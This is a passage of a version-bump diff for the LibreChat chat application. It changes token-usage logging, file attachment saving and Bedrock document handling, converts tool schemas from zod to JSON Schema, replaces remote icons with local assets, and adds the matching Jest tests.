-# v0.8.2
+# v0.8.3
# Base node image
FROM node:20-alpine AS node
diff --git a/Dockerfile.multi b/Dockerfile.multi
index 47e00d0fa8..53810b5f0a 100644
--- a/Dockerfile.multi
+++ b/Dockerfile.multi
@@ -1,5 +1,5 @@
# Dockerfile.multi
-# v0.8.2
+# v0.8.3
# Set configurable max-old-space-size with default
ARG NODE_MAX_OLD_SPACE_SIZE=6144
diff --git a/README.md b/README.md
index 6e04396637..e82b3ebc2c 100644
--- a/README.md
+++ b/README.md
@@ -27,8 +27,8 @@
-
-
+
+
diff --git a/api/app/clients/BaseClient.js b/api/app/clients/BaseClient.js
index a2dfaf9907..8f931f8a5e 100644
--- a/api/app/clients/BaseClient.js
+++ b/api/app/clients/BaseClient.js
@@ -4,6 +4,7 @@ const { logger } = require('@librechat/data-schemas');
const {
countTokens,
getBalanceConfig,
+ buildMessageFiles,
extractFileContext,
encodeAndFormatAudios,
encodeAndFormatVideos,
@@ -20,6 +21,7 @@ const {
isAgentsEndpoint,
isEphemeralAgentId,
supportsBalanceCheck,
+ isBedrockDocumentType,
} = require('librechat-data-provider');
const {
updateMessage,
@@ -122,7 +124,9 @@ class BaseClient {
* @returns {number}
*/
getTokenCountForResponse(responseMessage) {
- logger.debug('[BaseClient] `recordTokenUsage` not implemented.', responseMessage);
+ logger.debug('[BaseClient] `recordTokenUsage` not implemented.', {
+ messageId: responseMessage?.messageId,
+ });
}
/**
@@ -133,12 +137,14 @@ class BaseClient {
* @param {AppConfig['balance']} [balance]
* @param {number} promptTokens
* @param {number} completionTokens
+ * @param {string} [messageId]
* @returns {Promise}
*/
- async recordTokenUsage({ model, balance, promptTokens, completionTokens }) {
+ async recordTokenUsage({ model, balance, promptTokens, completionTokens, messageId }) {
logger.debug('[BaseClient] `recordTokenUsage` not implemented.', {
model,
balance,
+ messageId,
promptTokens,
completionTokens,
});
@@ -659,16 +665,27 @@ class BaseClient {
);
if (tokenCountMap) {
- logger.debug('[BaseClient] tokenCountMap', tokenCountMap);
if (tokenCountMap[userMessage.messageId]) {
userMessage.tokenCount = tokenCountMap[userMessage.messageId];
- logger.debug('[BaseClient] userMessage', userMessage);
+ logger.debug('[BaseClient] userMessage', {
+ messageId: userMessage.messageId,
+ tokenCount: userMessage.tokenCount,
+ conversationId: userMessage.conversationId,
+ });
}
this.handleTokenCountMap(tokenCountMap);
}
if (!isEdited && !this.skipSaveUserMessage) {
+ const reqFiles = this.options.req?.body?.files;
+ if (reqFiles && Array.isArray(this.options.attachments)) {
+ const files = buildMessageFiles(reqFiles, this.options.attachments);
+ if (files.length > 0) {
+ userMessage.files = files;
+ }
+ delete userMessage.image_urls;
+ }
userMessagePromise = this.saveMessageToDatabase(userMessage, saveOptions, user);
this.savedMessageIds.add(userMessage.messageId);
if (typeof opts?.getReqData === 'function') {
@@ -780,9 +797,18 @@ class BaseClient {
promptTokens,
completionTokens,
balance: balanceConfig,
- model: responseMessage.model,
+ /** Note: When using agents, responseMessage.model is the agent ID, not the model */
+ model: this.model,
+ messageId: this.responseMessageId,
});
}
+
+ logger.debug('[BaseClient] Response token usage', {
+ messageId: responseMessage.messageId,
+ model: responseMessage.model,
+ promptTokens,
+ completionTokens,
+ });
}
if (userMessagePromise) {
@@ -1300,6 +1326,9 @@ class BaseClient {
const allFiles = [];
+ const provider = this.options.agent?.provider ?? this.options.endpoint;
+ const isBedrock = provider === EModelEndpoint.bedrock;
+
for (const file of attachments) {
/** @type {FileSources} */
const source = file.source ?? FileSources.local;
@@ -1317,6 +1346,9 @@ class BaseClient {
} else if (file.type === 'application/pdf') {
categorizedAttachments.documents.push(file);
allFiles.push(file);
+ } else if (isBedrock && isBedrockDocumentType(file.type)) {
+ categorizedAttachments.documents.push(file);
+ allFiles.push(file);
} else if (file.type.startsWith('video/')) {
categorizedAttachments.videos.push(file);
allFiles.push(file);
diff --git a/api/app/clients/specs/BaseClient.test.js b/api/app/clients/specs/BaseClient.test.js
index 3cc082ab66..f13c9979ac 100644
--- a/api/app/clients/specs/BaseClient.test.js
+++ b/api/app/clients/specs/BaseClient.test.js
@@ -41,9 +41,9 @@ jest.mock('~/models', () => ({
const { getConvo, saveConvo } = require('~/models');
jest.mock('@librechat/agents', () => {
- const { Providers } = jest.requireActual('@librechat/agents');
+ const actual = jest.requireActual('@librechat/agents');
return {
- Providers,
+ ...actual,
ChatOpenAI: jest.fn().mockImplementation(() => {
return {};
}),
@@ -821,6 +821,56 @@ describe('BaseClient', () => {
});
});
+ describe('recordTokenUsage model assignment', () => {
+ test('should pass this.model to recordTokenUsage, not the agent ID from responseMessage.model', async () => {
+ const actualModel = 'claude-opus-4-5';
+ const agentId = 'agent_p5Z_IU6EIxBoqn1BoqLBp';
+
+ TestClient.model = actualModel;
+ TestClient.options.endpoint = 'agents';
+ TestClient.options.agent = { id: agentId };
+
+ TestClient.getTokenCountForResponse = jest.fn().mockReturnValue(50);
+ TestClient.recordTokenUsage = jest.fn().mockResolvedValue(undefined);
+ TestClient.buildMessages.mockReturnValue({
+ prompt: [],
+ tokenCountMap: { res: 50 },
+ });
+
+ await TestClient.sendMessage('Hello', {});
+
+ expect(TestClient.recordTokenUsage).toHaveBeenCalledWith(
+ expect.objectContaining({
+ model: actualModel,
+ }),
+ );
+
+ const callArgs = TestClient.recordTokenUsage.mock.calls[0][0];
+ expect(callArgs.model).not.toBe(agentId);
+ });
+
+ test('should pass this.model even when this.model differs from modelOptions.model', async () => {
+ const instanceModel = 'gpt-4o';
+ TestClient.model = instanceModel;
+ TestClient.modelOptions = { model: 'gpt-4o-mini' };
+
+ TestClient.getTokenCountForResponse = jest.fn().mockReturnValue(50);
+ TestClient.recordTokenUsage = jest.fn().mockResolvedValue(undefined);
+ TestClient.buildMessages.mockReturnValue({
+ prompt: [],
+ tokenCountMap: { res: 50 },
+ });
+
+ await TestClient.sendMessage('Hello', {});
+
+ expect(TestClient.recordTokenUsage).toHaveBeenCalledWith(
+ expect.objectContaining({
+ model: instanceModel,
+ }),
+ );
+ });
+ });
+
describe('getMessagesWithinTokenLimit with instructions', () => {
test('should always include instructions when present', async () => {
TestClient.maxContextTokens = 50;
@@ -928,4 +978,123 @@ describe('BaseClient', () => {
expect(result.remainingContextTokens).toBe(2); // 25 - 20 - 3(assistant label)
});
});
+
+ describe('sendMessage file population', () => {
+ const attachment = {
+ file_id: 'file-abc',
+ filename: 'image.png',
+ filepath: '/uploads/image.png',
+ type: 'image/png',
+ bytes: 1024,
+ object: 'file',
+ user: 'user-1',
+ embedded: false,
+ usage: 0,
+ text: 'large ocr blob that should be stripped',
+ _id: 'mongo-id-1',
+ };
+
+ beforeEach(() => {
+ TestClient.options.req = { body: { files: [{ file_id: 'file-abc' }] } };
+ TestClient.options.attachments = [attachment];
+ });
+
+ test('populates userMessage.files before saveMessageToDatabase is called', async () => {
+ TestClient.saveMessageToDatabase = jest.fn().mockImplementation((msg) => {
+ return Promise.resolve({ message: msg });
+ });
+
+ await TestClient.sendMessage('Hello');
+
+ const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+ ([msg]) => msg.isCreatedByUser,
+ );
+ expect(userSave).toBeDefined();
+ expect(userSave[0].files).toBeDefined();
+ expect(userSave[0].files).toHaveLength(1);
+ expect(userSave[0].files[0].file_id).toBe('file-abc');
+ });
+
+ test('strips text and _id from files before saving', async () => {
+ TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+
+ await TestClient.sendMessage('Hello');
+
+ const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+ ([msg]) => msg.isCreatedByUser,
+ );
+ expect(userSave[0].files[0].text).toBeUndefined();
+ expect(userSave[0].files[0]._id).toBeUndefined();
+ expect(userSave[0].files[0].filename).toBe('image.png');
+ });
+
+ test('deletes image_urls from userMessage when files are present', async () => {
+ TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+ TestClient.options.attachments = [
+ { ...attachment, image_urls: ['data:image/png;base64,...'] },
+ ];
+
+ await TestClient.sendMessage('Hello');
+
+ const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+ ([msg]) => msg.isCreatedByUser,
+ );
+ expect(userSave[0].image_urls).toBeUndefined();
+ });
+
+ test('does not set files when no attachments match request file IDs', async () => {
+ TestClient.options.req = { body: { files: [{ file_id: 'file-nomatch' }] } };
+ TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+
+ await TestClient.sendMessage('Hello');
+
+ const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+ ([msg]) => msg.isCreatedByUser,
+ );
+ expect(userSave[0].files).toBeUndefined();
+ });
+
+ test('skips file population when attachments is not an array (Promise case)', async () => {
+ TestClient.options.attachments = Promise.resolve([attachment]);
+ TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+
+ await TestClient.sendMessage('Hello');
+
+ const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+ ([msg]) => msg.isCreatedByUser,
+ );
+ expect(userSave[0].files).toBeUndefined();
+ });
+
+ test('skips file population when skipSaveUserMessage is true', async () => {
+ TestClient.skipSaveUserMessage = true;
+ TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+
+ await TestClient.sendMessage('Hello');
+
+ const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+ ([msg]) => msg?.isCreatedByUser,
+ );
+ expect(userSave).toBeUndefined();
+ });
+
+ test('ignores file_id: undefined entries in req.body.files (no set poisoning)', async () => {
+ TestClient.options.req = {
+ body: { files: [{ file_id: undefined }, { file_id: 'file-abc' }] },
+ };
+ TestClient.options.attachments = [
+ { ...attachment, file_id: undefined },
+ { ...attachment, file_id: 'file-abc' },
+ ];
+ TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+
+ await TestClient.sendMessage('Hello');
+
+ const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+ ([msg]) => msg.isCreatedByUser,
+ );
+ expect(userSave[0].files).toHaveLength(1);
+ expect(userSave[0].files[0].file_id).toBe('file-abc');
+ });
+ });
});
diff --git a/api/app/clients/tools/manifest.json b/api/app/clients/tools/manifest.json
index 9262113501..9637c20867 100644
--- a/api/app/clients/tools/manifest.json
+++ b/api/app/clients/tools/manifest.json
@@ -16,7 +16,7 @@
"name": "Google",
"pluginKey": "google",
"description": "Use Google Search to find information about the weather, news, sports, and more.",
- "icon": "https://i.imgur.com/SMmVkNB.png",
+ "icon": "assets/google-search.svg",
"authConfig": [
{
"authField": "GOOGLE_CSE_ID",
@@ -57,24 +57,11 @@
}
]
},
- {
- "name": "Browser",
- "pluginKey": "web-browser",
- "description": "Scrape and summarize webpage data",
- "icon": "assets/web-browser.svg",
- "authConfig": [
- {
- "authField": "OPENAI_API_KEY",
- "label": "OpenAI API Key",
- "description": "Browser makes use of OpenAI embeddings"
- }
- ]
- },
{
"name": "DALL-E-3",
"pluginKey": "dalle",
"description": "[DALL-E-3] Create realistic images and art from a description in natural language",
- "icon": "https://i.imgur.com/u2TzXzH.png",
+ "icon": "assets/openai.svg",
"authConfig": [
{
"authField": "DALLE3_API_KEY||DALLE_API_KEY",
@@ -87,7 +74,7 @@
"name": "Tavily Search",
"pluginKey": "tavily_search_results_json",
"description": "Tavily Search is a robust search API tailored for LLM Agents. It seamlessly integrates with diverse data sources to ensure a superior, relevant search experience.",
- "icon": "https://tavily.com/favicon.ico",
+ "icon": "assets/tavily.svg",
"authConfig": [
{
"authField": "TAVILY_API_KEY",
@@ -100,14 +87,14 @@
"name": "Calculator",
"pluginKey": "calculator",
"description": "Perform simple and complex mathematical calculations.",
- "icon": "https://i.imgur.com/RHsSG5h.png",
+ "icon": "assets/calculator.svg",
"authConfig": []
},
{
"name": "Stable Diffusion",
"pluginKey": "stable-diffusion",
"description": "Generate photo-realistic images given any text input.",
- "icon": "https://i.imgur.com/Yr466dp.png",
+ "icon": "assets/stability-ai.svg",
"authConfig": [
{
"authField": "SD_WEBUI_URL",
@@ -120,7 +107,7 @@
"name": "Azure AI Search",
"pluginKey": "azure-ai-search",
"description": "Use Azure AI Search to find information",
- "icon": "https://i.imgur.com/E7crPze.png",
+ "icon": "assets/azure-ai-search.svg",
"authConfig": [
{
"authField": "AZURE_AI_SEARCH_SERVICE_ENDPOINT",
@@ -156,7 +143,7 @@
"name": "Flux",
"pluginKey": "flux",
"description": "Generate images using text with the Flux API.",
- "icon": "https://blackforestlabs.ai/wp-content/uploads/2024/07/bfl_logo_retraced_blk.png",
+ "icon": "assets/bfl-ai.svg",
"isAuthRequired": "true",
"authConfig": [
{
@@ -169,14 +156,14 @@
{
"name": "Gemini Image Tools",
"pluginKey": "gemini_image_gen",
- "toolkit": true,
"description": "Generate high-quality images using Google's Gemini Image Models. Supports Gemini API or Vertex AI.",
"icon": "assets/gemini_image_gen.svg",
"authConfig": [
{
- "authField": "GEMINI_API_KEY||GOOGLE_KEY||GEMINI_VERTEX_ENABLED",
- "label": "Gemini API Key (Optional if Vertex AI is configured)",
- "description": "Your Google Gemini API Key from Google AI Studio . Leave blank if using Vertex AI with service account."
+ "authField": "GEMINI_API_KEY||GOOGLE_KEY||GOOGLE_SERVICE_KEY_FILE",
+ "label": "Gemini API Key (optional)",
+ "description": "Your Google Gemini API Key from Google AI Studio . Leave blank to use Vertex AI with a service account (GOOGLE_SERVICE_KEY_FILE or api/data/auth.json).",
+ "optional": true
}
]
}
diff --git a/api/app/clients/tools/structured/AzureAISearch.js b/api/app/clients/tools/structured/AzureAISearch.js
index 55af3cdff5..1815c45e04 100644
--- a/api/app/clients/tools/structured/AzureAISearch.js
+++ b/api/app/clients/tools/structured/AzureAISearch.js
@@ -1,14 +1,28 @@
-const { z } = require('zod');
const { Tool } = require('@langchain/core/tools');
const { logger } = require('@librechat/data-schemas');
const { SearchClient, AzureKeyCredential } = require('@azure/search-documents');
+const azureAISearchJsonSchema = {
+ type: 'object',
+ properties: {
+ query: {
+ type: 'string',
+ description: 'Search word or phrase to Azure AI Search',
+ },
+ },
+ required: ['query'],
+};
+
class AzureAISearch extends Tool {
// Constants for default values
static DEFAULT_API_VERSION = '2023-11-01';
static DEFAULT_QUERY_TYPE = 'simple';
static DEFAULT_TOP = 5;
+ static get jsonSchema() {
+ return azureAISearchJsonSchema;
+ }
+
// Helper function for initializing properties
_initializeField(field, envVar, defaultValue) {
return field || process.env[envVar] || defaultValue;
@@ -22,10 +36,7 @@ class AzureAISearch extends Tool {
/* Used to initialize the Tool without necessary variables. */
this.override = fields.override ?? false;
- // Define schema
- this.schema = z.object({
- query: z.string().describe('Search word or phrase to Azure AI Search'),
- });
+ this.schema = azureAISearchJsonSchema;
// Initialize properties using helper function
this.serviceEndpoint = this._initializeField(
diff --git a/api/app/clients/tools/structured/DALLE3.js b/api/app/clients/tools/structured/DALLE3.js
index c44b56f83d..26610f73ba 100644
--- a/api/app/clients/tools/structured/DALLE3.js
+++ b/api/app/clients/tools/structured/DALLE3.js
@@ -1,4 +1,3 @@
-const { z } = require('zod');
const path = require('path');
const OpenAI = require('openai');
const { v4: uuidv4 } = require('uuid');
@@ -8,6 +7,36 @@ const { logger } = require('@librechat/data-schemas');
const { getImageBasename, extractBaseURL } = require('@librechat/api');
const { FileContext, ContentTypes } = require('librechat-data-provider');
+const dalle3JsonSchema = {
+ type: 'object',
+ properties: {
+ prompt: {
+ type: 'string',
+ maxLength: 4000,
+ description:
+ 'A text description of the desired image, following the rules, up to 4000 characters.',
+ },
+ style: {
+ type: 'string',
+ enum: ['vivid', 'natural'],
+ description:
+ 'Must be one of `vivid` or `natural`. `vivid` generates hyper-real and dramatic images, `natural` produces more natural, less hyper-real looking images',
+ },
+ quality: {
+ type: 'string',
+ enum: ['hd', 'standard'],
+ description: 'The quality of the generated image. Only `hd` and `standard` are supported.',
+ },
+ size: {
+ type: 'string',
+ enum: ['1024x1024', '1792x1024', '1024x1792'],
+ description:
+ 'The size of the requested image. Use 1024x1024 (square) as the default, 1792x1024 if the user requests a wide image, and 1024x1792 for full-body portraits. Always include this parameter in the request.',
+ },
+ },
+ required: ['prompt', 'style', 'quality', 'size'],
+};
+
const displayMessage =
"DALL-E displayed an image. All generated images are already plainly visible, so don't repeat the descriptions in detail. Do not list download links as they are available in the UI already. The user may download the images by clicking on them, but do not mention anything about downloading to the user.";
class DALLE3 extends Tool {
@@ -72,27 +101,11 @@ class DALLE3 extends Tool {
// The prompt must intricately describe every part of the image in concrete, objective detail. THINK about what the end goal of the description is, and extrapolate that to what would make satisfying images.
// All descriptions sent to dalle should be a paragraph of text that is extremely descriptive and detailed. Each should be more than 3 sentences long.
// - The "vivid" style is HIGHLY preferred, but "natural" is also supported.`;
- this.schema = z.object({
- prompt: z
- .string()
- .max(4000)
- .describe(
- 'A text description of the desired image, following the rules, up to 4000 characters.',
- ),
- style: z
- .enum(['vivid', 'natural'])
- .describe(
- 'Must be one of `vivid` or `natural`. `vivid` generates hyper-real and dramatic images, `natural` produces more natural, less hyper-real looking images',
- ),
- quality: z
- .enum(['hd', 'standard'])
- .describe('The quality of the generated image. Only `hd` and `standard` are supported.'),
- size: z
- .enum(['1024x1024', '1792x1024', '1024x1792'])
- .describe(
- 'The size of the requested image. Use 1024x1024 (square) as the default, 1792x1024 if the user requests a wide image, and 1024x1792 for full-body portraits. Always include this parameter in the request.',
- ),
- });
+ this.schema = dalle3JsonSchema;
+ }
+
+ static get jsonSchema() {
+ return dalle3JsonSchema;
}
getApiKey() {
diff --git a/api/app/clients/tools/structured/FluxAPI.js b/api/app/clients/tools/structured/FluxAPI.js
index 9fa08a0343..56f86a707d 100644
--- a/api/app/clients/tools/structured/FluxAPI.js
+++ b/api/app/clients/tools/structured/FluxAPI.js
@@ -1,4 +1,3 @@
-const { z } = require('zod');
const axios = require('axios');
const fetch = require('node-fetch');
const { v4: uuidv4 } = require('uuid');
@@ -7,6 +6,84 @@ const { logger } = require('@librechat/data-schemas');
const { HttpsProxyAgent } = require('https-proxy-agent');
const { FileContext, ContentTypes } = require('librechat-data-provider');
+const fluxApiJsonSchema = {
+ type: 'object',
+ properties: {
+ action: {
+ type: 'string',
+ enum: ['generate', 'list_finetunes', 'generate_finetuned'],
+ description:
+ 'Action to perform: "generate" for image generation, "generate_finetuned" for finetuned model generation, "list_finetunes" to get available custom models',
+ },
+ prompt: {
+ type: 'string',
+ description:
+ 'Text prompt for image generation. Required when action is "generate". Not used for list_finetunes.',
+ },
+ width: {
+ type: 'number',
+ description:
+ 'Width of the generated image in pixels. Must be a multiple of 32. Default is 1024.',
+ },
+ height: {
+ type: 'number',
+ description:
+ 'Height of the generated image in pixels. Must be a multiple of 32. Default is 768.',
+ },
+ prompt_upsampling: {
+ type: 'boolean',
+ description: 'Whether to perform upsampling on the prompt.',
+ },
+ steps: {
+ type: 'integer',
+ description: 'Number of steps to run the model for, a number from 1 to 50. Default is 40.',
+ },
+ seed: {
+ type: 'number',
+ description: 'Optional seed for reproducibility.',
+ },
+ safety_tolerance: {
+ type: 'number',
+ description:
+ 'Tolerance level for input and output moderation. Between 0 and 6, 0 being most strict, 6 being least strict.',
+ },
+ endpoint: {
+ type: 'string',
+ enum: [
+ '/v1/flux-pro-1.1',
+ '/v1/flux-pro',
+ '/v1/flux-dev',
+ '/v1/flux-pro-1.1-ultra',
+ '/v1/flux-pro-finetuned',
+ '/v1/flux-pro-1.1-ultra-finetuned',
+ ],
+ description: 'Endpoint to use for image generation.',
+ },
+ raw: {
+ type: 'boolean',
+ description:
+ 'Generate less processed, more natural-looking images. Only works for /v1/flux-pro-1.1-ultra.',
+ },
+ finetune_id: {
+ type: 'string',
+ description: 'ID of the finetuned model to use',
+ },
+ finetune_strength: {
+ type: 'number',
+ description: 'Strength of the finetuning effect (typically between 0.1 and 1.2)',
+ },
+ guidance: {
+ type: 'number',
+ description: 'Guidance scale for finetuned models',
+ },
+ aspect_ratio: {
+ type: 'string',
+ description: 'Aspect ratio for ultra models (e.g., "16:9")',
+ },
+ },
+ required: [],
+};
+
const displayMessage =
"Flux displayed an image. All generated images are already plainly visible, so don't repeat the descriptions in detail. Do not list download links as they are available in the UI already. The user may download the images by clicking on them, but do not mention anything about downloading to the user.";
@@ -57,82 +134,11 @@ class FluxAPI extends Tool {
// Add base URL from environment variable with fallback
this.baseUrl = process.env.FLUX_API_BASE_URL || 'https://api.us1.bfl.ai';
- // Define the schema for structured input
- this.schema = z.object({
- action: z
- .enum(['generate', 'list_finetunes', 'generate_finetuned'])
- .default('generate')
- .describe(
- 'Action to perform: "generate" for image generation, "generate_finetuned" for finetuned model generation, "list_finetunes" to get available custom models',
- ),
- prompt: z
- .string()
- .optional()
- .describe(
- 'Text prompt for image generation. Required when action is "generate". Not used for list_finetunes.',
- ),
- width: z
- .number()
- .optional()
- .describe(
- 'Width of the generated image in pixels. Must be a multiple of 32. Default is 1024.',
- ),
- height: z
- .number()
- .optional()
- .describe(
- 'Height of the generated image in pixels. Must be a multiple of 32. Default is 768.',
- ),
- prompt_upsampling: z
- .boolean()
- .optional()
- .default(false)
- .describe('Whether to perform upsampling on the prompt.'),
- steps: z
- .number()
- .int()
- .optional()
- .describe('Number of steps to run the model for, a number from 1 to 50. Default is 40.'),
- seed: z.number().optional().describe('Optional seed for reproducibility.'),
- safety_tolerance: z
- .number()
- .optional()
- .default(6)
- .describe(
- 'Tolerance level for input and output moderation. Between 0 and 6, 0 being most strict, 6 being least strict.',
- ),
- endpoint: z
- .enum([
- '/v1/flux-pro-1.1',
- '/v1/flux-pro',
- '/v1/flux-dev',
- '/v1/flux-pro-1.1-ultra',
- '/v1/flux-pro-finetuned',
- '/v1/flux-pro-1.1-ultra-finetuned',
- ])
- .optional()
- .default('/v1/flux-pro-1.1')
- .describe('Endpoint to use for image generation.'),
- raw: z
- .boolean()
- .optional()
- .default(false)
- .describe(
- 'Generate less processed, more natural-looking images. Only works for /v1/flux-pro-1.1-ultra.',
- ),
- finetune_id: z.string().optional().describe('ID of the finetuned model to use'),
- finetune_strength: z
- .number()
- .optional()
- .default(1.1)
- .describe('Strength of the finetuning effect (typically between 0.1 and 1.2)'),
- guidance: z.number().optional().default(2.5).describe('Guidance scale for finetuned models'),
- aspect_ratio: z
- .string()
- .optional()
- .default('16:9')
- .describe('Aspect ratio for ultra models (e.g., "16:9")'),
- });
+ this.schema = fluxApiJsonSchema;
+ }
+
+ static get jsonSchema() {
+ return fluxApiJsonSchema;
}
getAxiosConfig() {
diff --git a/api/app/clients/tools/structured/GeminiImageGen.js b/api/app/clients/tools/structured/GeminiImageGen.js
index c0e5a0ce1d..0bd1e302ed 100644
--- a/api/app/clients/tools/structured/GeminiImageGen.js
+++ b/api/app/clients/tools/structured/GeminiImageGen.js
@@ -1,4 +1,3 @@
-const fs = require('fs');
const path = require('path');
const sharp = require('sharp');
const { v4 } = require('uuid');
@@ -6,12 +5,7 @@ const { ProxyAgent } = require('undici');
const { GoogleGenAI } = require('@google/genai');
const { tool } = require('@langchain/core/tools');
const { logger } = require('@librechat/data-schemas');
-const {
- FileContext,
- ContentTypes,
- FileSources,
- EImageOutputType,
-} = require('librechat-data-provider');
+const { ContentTypes, EImageOutputType } = require('librechat-data-provider');
const {
geminiToolkit,
loadServiceKey,
@@ -59,17 +53,12 @@ const displayMessage =
* @returns {string} - The processed string
*/
function replaceUnwantedChars(inputString) {
- return inputString?.replace(/[^\w\s\-_.,!?()]/g, '') || '';
-}
-
-/**
- * Validate and sanitize image format
- * @param {string} format - The format to validate
- * @returns {string} - Safe format
- */
-function getSafeFormat(format) {
- const allowedFormats = ['png', 'jpg', 'jpeg', 'webp', 'gif'];
- return allowedFormats.includes(format?.toLowerCase()) ? format.toLowerCase() : 'png';
+ return (
+ inputString
+ ?.replace(/\r\n|\r|\n/g, ' ')
+ .replace(/"/g, '')
+ .trim() || ''
+ );
}
/**
@@ -117,11 +106,8 @@ async function initializeGeminiClient(options = {}) {
return new GoogleGenAI({ apiKey: googleKey });
}
- // Fall back to Vertex AI with service account
logger.debug('[GeminiImageGen] Using Vertex AI with service account');
const credentialsPath = getDefaultServiceKeyPath();
-
- // Use loadServiceKey for consistent loading (supports file paths, JSON strings, base64)
const serviceKey = await loadServiceKey(credentialsPath);
if (!serviceKey || !serviceKey.project_id) {
@@ -131,75 +117,14 @@ async function initializeGeminiClient(options = {}) {
);
}
- // Set GOOGLE_APPLICATION_CREDENTIALS for any Google Cloud SDK dependencies
- try {
- await fs.promises.access(credentialsPath);
- process.env.GOOGLE_APPLICATION_CREDENTIALS = credentialsPath;
- } catch {
- // File doesn't exist, skip setting env var
- }
-
return new GoogleGenAI({
vertexai: true,
project: serviceKey.project_id,
location: process.env.GOOGLE_LOC || process.env.GOOGLE_CLOUD_LOCATION || 'global',
+ googleAuthOptions: { credentials: serviceKey },
});
}
-/**
- * Save image to local filesystem
- * @param {string} base64Data - Base64 encoded image data
- * @param {string} format - Image format
- * @param {string} userId - User ID
- * @returns {Promise} - The relative URL
- */
-async function saveImageLocally(base64Data, format, userId) {
- const safeFormat = getSafeFormat(format);
- const safeUserId = userId ? path.basename(userId) : 'default';
- const imageName = `gemini-img-${v4()}.${safeFormat}`;
- const userDir = path.join(process.cwd(), 'client/public/images', safeUserId);
-
- await fs.promises.mkdir(userDir, { recursive: true });
-
- const filePath = path.join(userDir, imageName);
- await fs.promises.writeFile(filePath, Buffer.from(base64Data, 'base64'));
-
- logger.debug('[GeminiImageGen] Image saved locally to:', filePath);
- return `/images/${safeUserId}/${imageName}`;
-}
-
-/**
- * Save image to cloud storage
- * @param {Object} params - Parameters
- * @returns {Promise} - The storage URL or null
- */
-async function saveToCloudStorage({ base64Data, format, processFileURL, fileStrategy, userId }) {
- if (!processFileURL || !fileStrategy || !userId) {
- return null;
- }
-
- try {
- const safeFormat = getSafeFormat(format);
- const safeUserId = path.basename(userId);
- const dataURL = `data:image/${safeFormat};base64,${base64Data}`;
- const imageName = `gemini-img-${v4()}.${safeFormat}`;
-
- const result = await processFileURL({
- URL: dataURL,
- basePath: 'images',
- userId: safeUserId,
- fileName: imageName,
- fileStrategy,
- context: FileContext.image_generation,
- });
-
- return result.filepath;
- } catch (error) {
- logger.error('[GeminiImageGen] Error saving to cloud storage:', error);
- return null;
- }
-}
-
/**
* Convert image files to Gemini inline data format
* @param {Object} params - Parameters
@@ -326,8 +251,9 @@ function checkForSafetyBlock(response) {
* @param {string} params.userId - The user ID
* @param {string} params.conversationId - The conversation ID
* @param {string} params.model - The model name
+ * @param {string} [params.messageId] - The response message ID for transaction correlation
*/
-async function recordTokenUsage({ usageMetadata, req, userId, conversationId, model }) {
+async function recordTokenUsage({ usageMetadata, req, userId, conversationId, model, messageId }) {
if (!usageMetadata) {
logger.debug('[GeminiImageGen] No usage metadata available for balance tracking');
return;
@@ -363,6 +289,7 @@ async function recordTokenUsage({ usageMetadata, req, userId, conversationId, mo
{
user: userId,
model,
+ messageId,
conversationId,
context: 'image_generation',
balance,
@@ -390,34 +317,18 @@ function createGeminiImageTool(fields = {}) {
throw new Error('This tool is only available for agents.');
}
- // Skip validation during tool creation - validation happens at runtime in initializeGeminiClient
- // This allows the tool to be added to agents when using Vertex AI without requiring API keys
- // The actual credentials check happens when the tool is invoked
-
- const {
- req,
- imageFiles = [],
- processFileURL,
- userId,
- fileStrategy,
- GEMINI_API_KEY,
- GOOGLE_KEY,
- // GEMINI_VERTEX_ENABLED is used for auth validation only (not used in code)
- // When set as env var, it signals Vertex AI is configured and bypasses API key requirement
- } = fields;
+ const { req, imageFiles = [], userId, fileStrategy, GEMINI_API_KEY, GOOGLE_KEY } = fields;
const imageOutputType = fields.imageOutputType || EImageOutputType.PNG;
const geminiImageGenTool = tool(
- async ({ prompt, image_ids, aspectRatio, imageSize }, _runnableConfig) => {
+ async ({ prompt, image_ids, aspectRatio, imageSize }, runnableConfig) => {
if (!prompt) {
throw new Error('Missing required field: prompt');
}
- logger.debug('[GeminiImageGen] Generating image with prompt:', prompt?.substring(0, 100));
- logger.debug('[GeminiImageGen] Options:', { aspectRatio, imageSize });
+ logger.debug('[GeminiImageGen] Generating image', { aspectRatio, imageSize });
- // Initialize Gemini client with user-provided credentials
let ai;
try {
ai = await initializeGeminiClient({
@@ -432,10 +343,8 @@ function createGeminiImageTool(fields = {}) {
];
}
- // Build request contents
const contents = [{ text: replaceUnwantedChars(prompt) }];
- // Add context images if provided
if (image_ids?.length > 0) {
const contextImages = await convertImagesToInlineData({
imageFiles,
@@ -447,28 +356,34 @@ function createGeminiImageTool(fields = {}) {
logger.debug('[GeminiImageGen] Added', contextImages.length, 'context images');
}
- // Generate image
let apiResponse;
const geminiModel = process.env.GEMINI_IMAGE_MODEL || 'gemini-2.5-flash-image';
- try {
- // Build config with optional imageConfig
- const config = {
- responseModalities: ['TEXT', 'IMAGE'],
- };
+ const config = {
+ responseModalities: ['TEXT', 'IMAGE'],
+ };
- // Add imageConfig if aspectRatio or imageSize is specified
- // Note: gemini-2.5-flash-image doesn't support imageSize
- const supportsImageSize = !geminiModel.includes('gemini-2.5-flash-image');
- if (aspectRatio || (imageSize && supportsImageSize)) {
- config.imageConfig = {};
- if (aspectRatio) {
- config.imageConfig.aspectRatio = aspectRatio;
- }
- if (imageSize && supportsImageSize) {
- config.imageConfig.imageSize = imageSize;
- }
+ const supportsImageSize = !geminiModel.includes('gemini-2.5-flash-image');
+ if (aspectRatio || (imageSize && supportsImageSize)) {
+ config.imageConfig = {};
+ if (aspectRatio) {
+ config.imageConfig.aspectRatio = aspectRatio;
}
+ if (imageSize && supportsImageSize) {
+ config.imageConfig.imageSize = imageSize;
+ }
+ }
+ let derivedSignal = null;
+ let abortHandler = null;
+
+ if (runnableConfig?.signal) {
